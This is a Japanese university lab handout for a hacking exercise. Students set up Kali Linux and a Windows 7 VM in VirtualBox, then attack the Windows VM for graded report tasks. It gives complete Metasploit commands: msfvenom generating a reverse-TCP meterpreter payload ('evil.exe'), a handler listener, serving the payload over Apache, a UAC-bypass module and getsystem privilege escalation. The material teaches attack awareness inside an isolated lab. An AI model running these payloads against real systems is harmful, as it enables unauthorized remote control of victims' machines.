Hacking Experiment
目次
はじめに
仮想環境作成
Kali-Linuxカスタマイズ
Windows 7の設定
遠隔操作
System権限奪取1
バックドアの設置
システム権限取得2
パスワード解析
Windows7にユーザを追加削除する
Windows7が仮想マシンか調べる
レポート
はじめに
この実験は典型(古典)的なハッキング手順を学習することを通して、サイバー攻撃に対する一般的な認識を共有することを目的にする。実験で使われるツールは仮想空間以外で利用しないで下さい。
参考文献:
- ハッキング。ラボの作り方 仮想環境におけるハッカー体験学習
- サイバーセキュリティテスト完全ガイド
この実験はWindows上のVirtualBoxを使った仮想空間でKali Linuxを使ってWindows7のハッキングを実施する。以下の手順に従えば必ず最後まで実施できる(手順通り実施しないと失敗する可能性が高い)。
この実験は多くのツールをインストールする(ため時間がかかる)。以下がこれからダウンロードするツールである:
仮想環境作成
Biosの設定(一度だけ):
電源を入れ、すぐにF2キーを何度か押す(Bios Utilityが立上るまで)。 wake up on LANを選ぶAdvancedを選ぶ CPU setupを選ぶ
Intel(R) Virtualization TechnologyをDisabledからEnabledに変更する。
Save change & Resetを選び、Yesを押す。
VirtualBoxインストール:
- C:\VM_Guest\VBoxフォルダーを作成し、VirtualBoxのインストーラ(VirtualBox-6.0.10)を作成したフォルダーにダウンロードし実行する。デフォルトの設定でOK.インストールするか聞かれたらインスト―ル選択。
- インストール後、VirtualBoxを起動すると、VM VirtualBoxマネージャーが表示)される。
- VM VirtualBoxマネージャーの[環境設定]>[一般]>[デフォルトの仮想マシンフォルダー]をC:\VM_Guest\VBoxに変更する。
- VM VirtualBoxマネージャーを終了する。
- Oracle_VM_VirtualBox_Extension_Pack をC:\VM_Guest\VBoxフォルダーにダウンロードし、実行する。実行後、VM VirtualBoxマネージャーの[環境設定]>[機能拡張]でインストールを確認する。
Kali-Linuxインストール:
- kali-linux-2019.3-vobx-i386.ovaをダウンロードしC:\VM_Guest\VBoxフォルダーに置く(
ovaファイルをダウンロードする時はFirefoxを使う)。 - VM VirtualBoxマネージャーのメニューの「ファイル」>「仮想アプライアンスのインポート」を選択し、ダウンロードしたkali-linux-2019.3-vobx-i386.ovaを指定して、[次へ]ボタンを押す。
- MACアドレスポリシー:「すべてのネットワークアダプタのMACアドレスを含む」を選択し、インポートする。
Kali-Linuxカスタマイズ
Kali-Linuxを起動する:
- VM VirtualBoxマネージャーの左ペインのKali-Linuxを右クリックし、「起動」>「通常起動」を選ぶ。
- 認証画面が表示されたら、ユーザ名:root、パスワード:toorを入力する。
- Kali-Linuxがエラーで立上らなかった場合、Biosの設定(このページの上の方に書いてある)が必要。

設定を変更する。
- Kali-Linuxが立ち上がったら、右上の下矢印を押し、Settingsアイコンを押す。
- スクリーンロックを無効にする。「Power」>「Power Saving」の「Black screen」を「Never」にする。
- 自動サスペンド機能を無効にする。「Power」>「Automatic suspend」の「Plugged in」の横のスライドスイッチをOFFにする。
- 日本語キーボードにする。
- 「Region&Language」>「Input Sources」の「+」ボタンを押し、「Japanese」を選択。
- Add an Input Sourceは「Japanese」を選び、「Add」ボダンを押す。
- 不要なキーボード(English(US))を「-」ボタンで削除する。
- タイムゾーンを変更する。「Details」>「Date&Time」。「Time Zone」を押し「JST(Tokyo,Japan)」を選ぶ。
- (日本語表示、日本語入力は省略)。
- Settings画面を終了後、Kali-Linuxを終了するために、VM VirtualBoxマネージャーのKali-Linuxを右クリックし、「閉じる」>「ACPIシャットダウン」を選ぶ。
ネットワーク設定
- VM VirtualBoxマネージャーのメニューの「ファイル」>「ホストネットワークマネジャー」を開き、プロパティを押す。
- アダプタータブで、「アダプターを自動で設定」を選ぶ。 次に、「DHCPサーバー」でサーバーを有効化にチェックを入れ、適用を押す。
- 作成タブを選ぶ。アダプタータブで、「アダプターを自動で設定」を選ぶ。次に、「DHCPサーバー」でサーバーを有効化にチェックを入れ、適用を押し、閉じる。
- Kali-Linuxを右クリックし、「設定」>「ネットワーク」を選ぶ。
- アダプター1タブを選び 、ネットワークアダプターを有効化にチェックを入れ、割り当てを「ホストオンリーアダプター」に設定し、名前は「VirtualBox
Host-Only Ethernet Adapter」を選ぶ。
- アダプター2タブを選び 、ネットワークアダプターを有効化にチェックを入れ、割り当てを「NAT」に設定し、OKを押す。
- Kali-Linuxを立ち上げ、loginする。
パッケージを更新するために、ランチャーの中の端末(Terminal)を開き、以下を入力する(時間がかかる)。
- 端末からifconfigを入力し、IPアドレス(inet)を確認する
- eth0:192.168.56.104 <--攻撃で利用(マシンに依存する)
- eth1:10.0.3.15 <--外部ネットワーク接続(マシンに依存する)
Windows7の設定
- IE8 - Win7.ovaをダウンロードしC:\VM_Guest\VBoxフォルダーに置き、kali-linuxの場合と同様にインポートする(ovaファイルをダウンロードする時はFirefoxを使う)。
- IE8 - Win7を右クリックし、「設定」>「ネットワーク」を選ぶ。
- アダプター1タブを選び 、ネットワークアダプターを有効化にチェックを入れ、割り当てを「ホストオンリーアダプター」に設定し、名前は「VirtualBox
Host-Only Ethernet Adapter」を選び、OKを押す。
- IE8 - Win7を(kali-linuxの場合と同様に)起動する。
- 立上ったら、直ぐに再起動(restart)する。
- 立ち上がったら、コマンドプロンプトを立ち上げ、ipconfigを入力し、IPアドレスを確認する。
- IPv4 Address ...: 192.168.56.105 <-- 表示内容はマシンに依存
- 次に、Kali-Linuxとの接続を確認するために、コマンドプロンプトから次のコマンドを実施する。
- VirtualBox Guest Additionsを適用する。
- 仮想マシンのメニューの「デバイス」>「Guest Additions CDイメージの挿入」を選ぶ。
- AutoPlay画面が表示されたら、"Run VBox WindowsAdditions.exe"を選択。
- UACの許可を求めるのでYESを選択。
- インストールが始まる(デフォルトの設定でOK)。 インストールの確認があれば全てインストールする。
- インストールが終わると再起動が始まる。
- Windows7のpingの返信許可
- スタートメニューから「Control Panel」>「System and Security」>「Windows Firewall」を選ぶ。
- 「Advanced settings」を選択し、「Inbound Rules」>「File and Printer Sharing (Echo
Request - ICMPv4-In」(2カ所有る)を右クリックして、propertiesを選ぶ。
- 「General」タブの「Enabled」にチェックを入れ、applyボタンを押しOKを押す。
- Windows7のupdate停止(ホストOS(Windows10)ではない!)
- 「Control Panel」>「System and Security」>「Windows Update」>「Change settings」を選ぶ。
- 「Important updates」プルダウンメニューで「Never check for updates (not recommended)」を選び、OKを押す。
- 日本語キーボードを適用
- スタートメニューのコマンド入力欄でdevmgmt.mscを入力「IE8WIN7」>「Keyboards」>「Standard PS/2 Keyboard」をダブルクリック。
- 「Driver」タブでUpdate Driverボタンを押す。
- 「Browse my computer for driver software」>「Let me pick from a list of device
drivers on my computer」を選ぶ。
- 「Show compatible hardware」というチェックを外し、Manufacturerで「(Standard keyboards)」、Modelで「Japanese
PS/2 Keyboard (106/109 Key Ctrl +Eisuu)」を選択し、Nextボタンを押す。
- 「Update Driver Warning」ダイアログが表示されるが、Yesボタンで先に進み、closeボタンを2回押して再起動。
- 再起動後、「Control Panel」>「Change display language」を選び、Region and Language画面で、「Administrative」タブを選び、[Change
system locale]ボタンを押す。
- 「Current system locale」プルダウンメニューで「Japanese(Japan)」を選びOKボタンを押し、restartする。
- 再起動するとタスクトレイに「EN」という言語選択のアイコンが現れ、「JP」に切り替える。
遠隔操作

以下では、次のIPアドレスを前提とする(マシンに依存している):
Kali-Linux (192.168.56.104) --- Windows7 (192.168.56.105)
ここからハッキング体験です。不正プログラム(MetasploitFramework)を使ってKali-LinuxからWindows7を遠隔操作(リバースシェル)します。
「Windows7の仮想マシンの画面」と「Kaliの仮想マシンの画面」を並べて表示する。
ペイロード(悪意のある実行コード)を作成し、Windows7上で実行させる。
- Kali-Linuxの端末を立上げ、msfconsoleを入力する(時間がかかる)。
- msf5>プロンプトが出たら、ペイロード(evil.exe)をデスクトップに作成するために次のコマンドを入力する。
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.104 -f exe
-o /root/Desktop/evil.exe
- リバースシェルからの接続待状態を作るためにmsf5>プロンプトに以下のコマンドを入力する。
- use exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp
- set LHOST 192.168.56.104
- exploit
- デスクトップに出来たevil.exeを/var/www/html/shareへ移動するために別の端末を立上げ、以下のコマンドを入力。
- cd /var/www/html
- mkdir share
- cp /root/Desktop/evil.exe share
- chmod -R 755 share
- service apache2 restart
- Windows7でブラウザを起動して、http://192.168.56.104/shareを入力する。
- evil.exeをクリックし、デスクトップにダウンロードする。
- evil.exeをダブルクリックする。 <--不注意でダブルクリックしたことを想定している。
- Kali-linuxの端末でsession1が確立されたことを確認する(確立できない場合、もう一度1~3を実行後、evil.exeをダブルクリックする)。
- Windows7のコマンドプロンプトから以下のコマンドを入力し、セッションが確立された(つまり、遠隔操作可能になった)ことを確認する。
- netstat -n | find "ESTABLISHED"
課題1.
Kali-linuxの端末でsession1が確立した状態とwindows7のコマンドプロンプトでセッションが確立した状態を(Snipping
Toolを使って)スクリーンコピーしてレポートに貼り付ける(70点/100点)

System権限奪取1
-
System権限を奪取するために、以下の手順でUAC機能をバイパスするモジュールを用います。session 1が確立された状態で以下のコマンドを実行する。
- 「meterpreter>」プロンプトで、backgroundを入力
- sessions -i <-- session 1が確立されていることを確認。
- use exploit/windows/local/bypassuac
- set SESSION 1
- set payload windows/meterpreter/reverse_tcp
- set LHOST 192.168.56.104
- exploit
-
バイパスするモジュールの実行が終了したら現在のuidを確認後、権限の上昇を試みる。
- getuid
- getsystem -t 1
- getuid <--Server usernameがNT AUTHORITY\SYSTEMになれば成功(失敗した場合、もう一度1からやり直す)

課題2.
システム権限を奪取した結果をスクリーンコピーしてレポートに貼り付ける(30点/100点)
レポート
課題1と2の内容と実施結果と考察を課題毎に書く。
レポート提出期限:
2回の実験を1つのレポートとして提出する。2 回目の実験が終了してから1 週間後(つまり、次のテーマの情報工学実験Ⅲが行われる日)の17:00までに、WingNet(学生用ポータルサイトBeNeFITの中の業務支援を選択)
を使って提出して下さい。また、レポートはWord を使って作成して下さい。
WingNet の選択画面(1 班の例)は以下の通り。
- 提出先の教員名: 種田和正(oida)
- 提出先フォルダ: 情報工学実験Ⅲ サイバー攻撃・Ethereumアプリ 1班
注意事項:
- 何班に属しているか確認して提出先ファルダを選択して下さい。
- WingNet に他人のアカウントでlogin して提出すると、そのアカウントの人のレポートになります。
- 確認のため、(レポートの表紙と同様に)ファイル名にも学籍番号と氏名を入れて下さい。
- 同じファイル名であれば上書きされるので、提出後何度でも訂正することが出来ます。
表紙:
————————–(表紙)—————————
情報工学実験Ⅲ
テーマ名: サイバー攻撃・Ethereumアプリ
情報工学科 3 年 組 班
xxAxxxx 氏名_____
実施日令和 年 月 日、 月 日
提出日令和 年 月 日
—————————————————————
本文:
実験終了後の作業:
- シャットダウンする。